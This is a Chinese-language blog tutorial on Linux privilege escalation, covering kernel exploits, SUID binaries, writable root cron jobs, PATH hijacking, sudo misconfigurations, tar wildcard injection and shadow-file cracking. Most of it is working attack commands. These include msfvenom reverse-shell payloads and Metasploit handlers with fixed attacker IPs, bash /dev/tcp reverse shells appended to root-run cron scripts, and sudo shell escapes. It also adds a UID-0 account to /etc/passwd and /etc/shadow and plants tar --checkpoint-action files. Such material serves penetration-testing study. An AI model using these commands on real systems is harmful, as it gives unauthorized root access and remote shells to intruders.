提权-linux提权

Linux提权

1.linux内核提权

提权原理

内核提权是利用Linux内核的漏洞进行提权的。内核漏洞进行提权一般包括三个环节:

1、对目标系统进行信息收集,获取到系统内核信息以及版本信息;

2、根据内核版本获取其对应的漏洞以及EXP;

3、使用找到的EXP对目标系统发起攻击,完成提权操作

  • 查看Linux操作系统的内核版本和相关信息
1
2
3
4
cat /etc/issue 查看ubuntu或者centos的版本
cat /etc/*-release 查看centos版本
uname -a 查看系统全部信息
uname -r 查看内核版本

image-20240110132524931

EXP可以用kali去寻找,kali中自带searchsploit命令可以查找EXP

1
searchspolit linux xxx

image-20240110132600977

image-20240110132613436

复制利用脚本到当前目录

1
searchsploit -m 42887.c

image-20240110132743625

去互联网搜索该脚本的用法和相关的文档

提权复现

环境:本次实验使用Ubuntu 20.04,内核版本是5.10版本的

image-20240110133358478

使用MSF上线机器

1
2
3
4
5
6
7
8
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.41.211 LPORT=8888 -f
elf > mshell.elf

use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.41.211
set lport 8888
run

查看权限,较低:

image-20240110133552584

查看操作系统

1
2
cat /etc/issue
cat /etc/*-release
image-20240110133442560

查看可以利用的内核版本提权漏洞

1
searchsploit linux 5.10.10

image-20240110133522227

将脚本进行复制并且只用GCC进行编译,或者使用百度搜索相关的文档进行使用

image-20240110134033077

使用gcc进行编译

1
gcc -o test11 50808.c

执行

1
./test11 /usr/bin/su
image-20240110133529493

2.SUID提权

SUID介绍

SUID是一种特殊权限,设置了suid的程序文件,在用户执行该程序时,用户的权限是该程序文件属主的权限,例如程序文件的属主是root,那么执行该程序的用户就将暂时获得root账户的权限。sgid与suid 类似,只是执行程序时获得的是文件属组的权限。passwd这个命令程序的权限设置,它就是设置了 suid权限的

image-20240110134325519

注意以下几点:

1.只有可以执行的二进制程序文件才能设定SUID权限,非二进制文件设置SUID权限没任何意义

2.命令执行者要对该程序文件拥有执行(x)权限.

3.命令执行者在执行该程序时获得该程序文件属主的身份.

4.SUID权限只在该程序执行过程中有效,也就是说身份改变只在程序执行过程中有效

设置SUID

1
2
chmod u+s filename 设置SUID位
chmod u-s filename 去掉SUID设置

例子:

普通用户无法查看shadow文件

image-20240110135339662

如果root给cat设置了suid权限,则普通用户可以使用cat查看shadow文件

image-20240110135533443

SUID提权原理

原理:利用某些二进制文件设置了SUID权限,从而用root权限执行系统命令

常见的可以用来提权的命令如下:

1
2
3
4
5
6
7
8
9
10
11
nmap
vim
find
bash
more
less
nano
cp
awk
mv
更多命令查看:https://gtfobins.github.io/gtfobins/awk/#suid

查找SUID文件

1
2
3
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls {} \; 2>/dev/null

一、 find / -user root -perm -4000 -print 2>/dev/null

1、find 是查找文件的命令

2、/ 是从根目录开始查找

3、-user root 是文件的所属者是root

4、-perm -4000

1
2
3
4
5
6
7
8
-perm匹配权限
4000 2000 1000分别表示SUID SGID SBIT
1.普通文件,文件的权限一般三位,777最高文件权限
-perm -0777搜索的就是最高权限的文件rwxrwxrwx
-perm +0777搜索的只要包含rwxrwxrwx任意一个的文件
2.特殊文件,包含权限位置四位,7000为最高,即–s–s–t,同样的方法
-perm -7000搜索的就是最高权限的文件–s–s–t
-perm +7000搜索的只要包含–s–s–t任意一个的文件,–s — —(4000)、— –s —(2000)、— — –t(1000)等

5、-print 2>/dev/null 将标准错误输入到/dev/null文件

image-20240110140435160

二、 find / -perm -u=s -type f 2>/dev/null

1、find 是查找文件的命令

2、/ 是从根目录开始查找

3、-perm -u=s 查找有s权限

4、 -type f -type b/d/c/p/l/f 查是块设备、目录、字符设备、管道、符号链接、普通文件

三、 find / -user root -perm -4000 -exec ls -ldb {};

1、find 是查找文件的命令

2、/ 是从根目录开始查找

3、-user root 是文件的所属者是root

4、-perm -4000 5、-exec ls -ldb {}; 执行 ls -ddb命令

提取介绍

FIND提权

find比较常用,find用来在系统中查找文件。同时,它也有执行命令的能力。 因此,如果配置为使用 SUID权限运行,则可以通过find执行的命令都将以root身份去运行

步骤

1、查找SUID文件

1
2
3
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls {} \; 2>/dev/null

image-20240110140717161

2、利用find提权

1
2
3
touch anyfile #必须要有这个文件
find anyfile -exec whoami \;
find . -exec /bin/sh -p \; -quit

image-20240110140845682

BASH提权

bash命令是用来打开一个shell。同时它也有执行命令的能力。 因此,如果配置为使用SUID权限运行, 则可以通过bash执行的命令都将以root身份去运行

1、查找SUID文件

1
2
3
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls {} \; 2>/dev/null

image-20240110141039600

2、利用bash提权

1
bash -p

image-20240110141119517

VIM提权

利用vim提权的思路是修改/etc/passwd文件和/etc/shadow,为自己添加一个有root权限的用户

1、查找SUID文件

1
2
3
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls {} \; 2>/dev/null

image-20240110141243083

2、利用vim提权

第一种方式,利用vim添加账号

1
2
vim /etc/passwd 添加特权用户
添加:test:x:0:0::/home/bob:/bin/bash

image-20240110141537071

1
2
vim /etc/shadow 添加特权用户
test:$6$0OqvyYYBMtX8HD3n$GIzRaq/IAtpWZQXTc4G1tNCkjjFq29hKtyf9pJhiREQcOwNDWRgJeyebJMmYPfLSxLJ9JMh53jru02TH8/WFN0::0:99999:7:::

image-20240110141814041

直接登录test账号

image-20240110142055699

第二种,利用vim打开交互shell

1
vim -c ':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'

image-20240110142448286

PYTHON提权

1
python -c 'import os; os.execl("/bin/sh", "sh", "-p")'

参考: https://www.leavesongs.com/PENETRATION/linux-suid-privilege-escalation.html

等等

3.计划任务提权

提权原理

linux计划任务提权是因为权限配置不当,计划任务以root权限运行,低权限的用户可以修改计划任务的文件,从而被攻击者利用,导致提权,Linux计划任务命令如下

1
2
3
crontab -e 编辑计划任务
crontab -l 查看计划任务
crontab -r 删除目前的crontab

计划任务的文件夹在 /etc/cron*下

image-20240110144808035

计划任务的格式:

1
分 时 日 月 周 用户 命令

image-20240110150757454

假如root用户设置了一个计划任务,但是权限没有设置好,

比如777权限或者SUID权限之类的,查找命令如下

1
2
find / -user root -perm -4000 -print 2>/dev/null 查找SUID文件
find / -perm 777 -print 2>/dev/null 查找777文件

linux文件权第一部分是该文件的拥有者所拥有的权限,第二部分是该文件所在用户组的用户所拥有的权 限,最后一部分是其他用户所拥有的权限

提权环境

先准备一个SUID文件或者权限为xx7的文件,让低权限的用户可以执行文件的修改,在这里我们我们准备一个sh文件或者python文件都可以,我们写一个linux运维脚本,来监控当前电脑的运行参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
function bash_os() {
# "系统基础信息"
#内核信息
kernel=$(uname -r)
#操作系统版本
release=$(cat /etc/redhat-release)
#主机名称
hostname=$HOSTNAME
#当前时间及运行时间
dateload=$(uptime | awk -F "," '{print $1}')
# 当前登录用户数
users=$(uptime | awk -F "," '{print $2}')
echo -e "\n\033[32m############## 系统基础信息 #######\033[0m\n" >> /tmp/bash_os.txt
echo -e "\033[32m------------------------------------\033[0m" >> /tmp/bash_os.txt
echo -e "|内核信息:\033[31m $kernel \033[0m" >> /tmp/bash_os.txt
echo -e "\033[32m------------------------------------\033[0m" >> /tmp/bash_os.txt
echo -e "|操作系统版本:\033[31m $release \033[0m" >> /tmp/bash_os.txt
echo -e "\033[32m------------------------------------\033[0m" >> /tmp/bash_os.txt
echo -e "|当前时间及运行时间:\033[31m $dateload \033[0m" >> /tmp/bash_os.txt
echo -e "\033[32m------------------------------------\033[0m" >> /tmp/bash_os.txt
echo -e "|当前登录用户数:\033[31m $users \033[0m" >> /tmp/bash_os.txt
echo -e "\033[32m------------------------------------\033[0m" >> /tmp/bash_os.txt
}
bash_os

该脚本运行后的内容写到 /tmp/bash_os.txt文件中

image-20240110152219692

将文件的权限设置成777 chmod 777 bash_os.sh

image-20240110152243783

将文件设置成计划任务,输入 vim /cat/cronta 进行编辑,编辑内容如下,一定是普通用户,到

1
2
3
4
分 时 日 月 周 用户 命令
*/1 * * * * root /bash_os.sh
service crond status 查看计划任务启动
service crond restart 重启计划任务

image-20240110152438332

提权实验

1.我们先拿到一个webshell,或者MSF的shell,或者CS的shell先上线,这里使用MSF的shell,生成MSF 的payload然后上线

1
2
3
4
5
6
7
msfvenom -p linux/x64/meterpreter_reverse_tcp LHOST=10.210.100.128 LPORT=8889 -f elf > 2.elf

use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost 10.210.100.128
set lport 8889
run

image-20240110154741151

2.查询计划任务,发现存在一个sh文件并且是root运行的、

1
cat /etc/crontab

image-20240110154836819

3.接下来查看该文件的属性看看能不能更改,发现是777满权限,更改文件内容,进行提权

image-20240110154858676

4.输入反弹shell的命令,在sh文件中进行追加

1
echo "bash -i >& /dev/tcp/10.210.100.128/9876 0>&1" >> /bash_os.sh

image-20240110155004695

5.使用NC接收等待反弹shell的连接,得到root权限

image-20240110155207149

4.环境变量劫持提权

提权原理

PATH是Linux和类Unix操作系统中的环境变量,类似windows中的path环境变量,当我们执行一个命令的时候shell会先检查命令是否是系统内部命令,如果不是则会再去检查此命令是否是一个应用程序, shell会试着从PATH中逐步查找命令,查看环境变量命令如下:

1
echo $PATH #查看环境变量

如果我们可以在环境变量中写入自己的环境变量,然后写一个自己的恶意命令,从而达到提权的目的

提权环境

当前的环境是ubuntu 16,centos7测试不成功

假设管理员用户在/home目录下创建了一个demo.c文件,内容如下,执行查看shadow文件命令, setuid 规定了其运行用户,以root权限进行编译和权限设置

1
2
3
4
5
6
#include<unistd.h>
void main() {
setuid(0);
setgid(0);
system("cat /etc/shadow");
}

image-20240110160653508

然后使用gcc进行编译

1
gcc demo.c -o shell

运行 shell 命令就是打开shadow文件

image-20240110161406810

赋予shell文件SUID权限 chmod u+s shell

image-20240110161418339

提权实验

首先上线机器

1
2
3
4
5
6
7
msfvenom -p linux/x64/meterpreter_reverse_tcp LHOST=10.210.100.128 LPORT=8889 -f elf > 2.elf

use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost 10.210.100.128
set lport 8889
run

image-20240110161440765

接下来用命令查找SUID文件,发现一个shell文件被配置了SUID

1
find / -user root -perm -4000 -print 2>/dev/null
image-20240110161459732

运行shell文件,发现是查看/etc/shadow的命令

image-20240110161513977

那么我们 劫持cat命令 ,达到提权的目的

1
2
3
4
5
6
7
echo "/bin/bash" > /tmp/cat
chmod 777 cat
ls -al cat
echo $PATH
export PATH=/tmp:$PATH #添加临时环境变量
./home/shell #执行管理员配置的命令 执行cat命令
whoami

image-20240110161616276

5.SUDO提权

提权原理

sudo是linux系统管理指令,是允许系统管理员让普通用户执行一些或者全部的root命令的一个工具, 如reboot,su等等。这样不仅减少了root用户的登录 和管理时间,同样也提高了安全性。sudo不是对 shell的一个代替,它是面向每个命令的。在一些应用场景里面,为了方便运维人员以低权限帐号进行运 维,往往会开启帐号的一些SUDO权限给运维帐号,而SUDO权限的授予在/etc/sudoers中进行操作

具体的格式如下

1
cseroad ALL=(ALL:ALL) NOPASSWD:/usr/bin/apt-get
  • cseroad表示用户名

  • 第一个 ALL 指示允许从任何终端访问sudo

  • 第二个 (ALL:ALL)指示sudo命令被允许任意用户、任意组执行

  • 第三个 NOPASSWD 表示不需要输入密码而可以sudo执行的命令

image-20240110163945848

但是想获取哪些命令设置了无密码sudo,还是需要查看 cat /etc/sudoers 文件或者 sudo -l 命令, 而这两条命令都需要一定权限或者知道当前用户密码

image-20240110164420634

如果给sudo配置文件配置了ALL 或者以下的命令就可以进行提权

1
2
wget、find、cat、apt、zip、xxd、time、taskset、git、sed、pip、ed、tmux、scp、perl、
bash、less、awk、man、vi、env、ftp、ed、screen

提权的命令如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
一条命令提权的
sudo vim -c '!sh'
sudo awk 'BEGIN {system("/bin/sh")}'
sudo xxd "/etc/shadow" | xxd -r
sudo env /bin/sh
sudo perl -e 'exec "/bin/sh";'
sudo zip 2.zip 1.txt -T --unzip-command="sh -c /bin/sh"
sudo sed -n '1e exec sh 1>&0' /etc/passwd
sudo find /etc/passwd -exec /bin/sh \;
两条命令提权的
sudo git help config
!/bin/sh
sudo ftp
!/bin/sh
sudo less /etc/hosts
!sh
sudo ed
!/bin/sh
sudo man man
!/bin/sh

image-20240110164952287

image-20240110165127162

提权实验

使用root用户配置/etc/sudoer配置文件,设置普通用户可以运行任意命令

image-20240110164914528

使用CS或者MSF或者webshell上线机器

1
2
3
4
5
6
7
msfvenom -p linux/x64/meterpreter_reverse_tcp LHOST=10.210.100.128 LPORT=8889 -f elf > 2.elf

use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost 10.210.100.128
set lport 8889
run

使用sudo -l 查看,发现awk可以无密码进行使用

image-20240110165026211

接下来使用命令进行提权

1
sudo awk 'BEGIN {system("/bin/sh")}'
image-20240110165137653

6.利用通配符(WS)进行提权

提权原理

在LINUX中通配符可以被用来模糊匹配,而且通配符的输入是由当前用户的shell去进行解析

1
2
3
* 代表任意数量的字符
? 字符代表单个字符
[] 匹配中括号中的任意单一字符 可以使用连字符-表示范围,比如[0-9]

我们在当前的目录创建几个文本,1.txt,2.txt,3.txt

image-20240110165406805

接下来使用通配符去查看文件 ls ?.txt 可以查到 一个字符后面加.txt的文件

image-20240110165422191

我们在当前目录在创建几个文件,a.txt,ab.txt,abc.txt

image-20240110165436692

然后使用?进行匹配

image-20240110165448140

使用*进行匹配,代表任意的多个字符

image-20240110165532144

使用ls [0-9].txt,匹配0-9的txt

image-20240110165546432

[…] 匹配方括号之中的任意一个字符

image-20240110165610462

什么是Wildcard wildness 简称WS

我们先创建3个文件

1
2
3
echo "1" > file1
echo "2" > file2
echo "3" > --help

image-20240110165746740

接下来查看文件里面的内容,发现文件1和文件2都可以查看,但是–help查看不了,直接调出了–help 的命令,这种类型的技巧称为Wildcard wildness。

image-20240110165814958

如果我们执行 ls * 那么就会执行 ls –help 即创建的–help文件将–help命令劫持了

如何利用这一点进行提权呢?

如果有的命令的参数中可以去执行linux命令,我们进行劫持,达到提权的目的,我们以tar命令为例子

tar命令是Linux中的压缩命令,可以对文件进行压缩

1
tar -czf html.tgz 1.html 将文件1.html文件压缩成html.tgz

image-20240110170320323

也可以使用通配符进行压缩

1
tar -czf html.tgz *.html 将文件所有html文件压缩成html.tgz

在tar中有执行linux命令的参数如下

1
tar -czf 1.tgz 1.html --checkpoint=1 --checkpoint-action=exec=whoami

image-20240110170423586

可以对后面的命令进行劫持 ,只需要要编写一个这样的参数文件就行可以了

1
2
echo " " > --checkpoint=1
echo " " > --checkpoint-action=exec=whoami

image-20240110170459127

接着运行

1
tar -czf html.tgz *
image-20240110170600574

提权实验

一般都有备份网站的习惯,那么运维人员或管理员填写了备份文件的计划任务任务,如果滥用了通配符,就可能导致提权

1
*/1 * * * * root tar -zcf /var/html.tgz /var/www/html/*

image-20240110170636346

1.上线

1
2
3
4
5
6
7
msfvenom -p linux/x64/meterpreter_reverse_tcp LHOST=10.210.100.128 LPORT=8889 -f elf > 2.elf

use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost 10.210.100.128
set lport 8889
run
image-20240110170656754

2.查看计划任务,发现有滥用通配符的,并且是root权限,可以进行提权

image-20240110170712146

3.在/var/www/html下创建两个文件如下

1
2
3
echo " " > /var/www/html/--checkpoint=1
echo " " > /var/www/html/--checkpoint-action=exec='bash shell.sh'
echo "bash -i >&/dev/tcp/10.210.100..128/8888 0>&1" > /var/www/html/shell.sh

image-20240110170752699

4.使用NC进行监听,等待sh脚本被执行,连接NC

image-20240110170816097

7.破解明文密码提权

提权原理

大多数linux系统的密码都和/etc/passwd和/etc/shadow这两个配置文件息息相关。passwd里面储存了用户,shadow里面是密码的hash。出于安全考虑passwd是全用户可读,root可写的。

shadow是仅 root可读写的,当管理员的passwd和shadow一些权限配置不当就可能会导致提权

提权环境

主要是查看当前的shadow文件是否可以读取,主要有以下几种方式

1
2
3
1、赋予了文件777权限
2、可以使用sudo查看
3、cat等命令赋予了SUID权限

提权复现

root的账号密码如何破解

1.能够读取到shadow文件

image-20240110171414303

2.使用工具破解密码

1
john --wordlist=passwd.txt + shadow.txt

image-20240110171835109


提权-linux提权
http://example.com/2024/01/10/提权-linux提权/
作者
r1
发布于
2024年1月10日
许可协议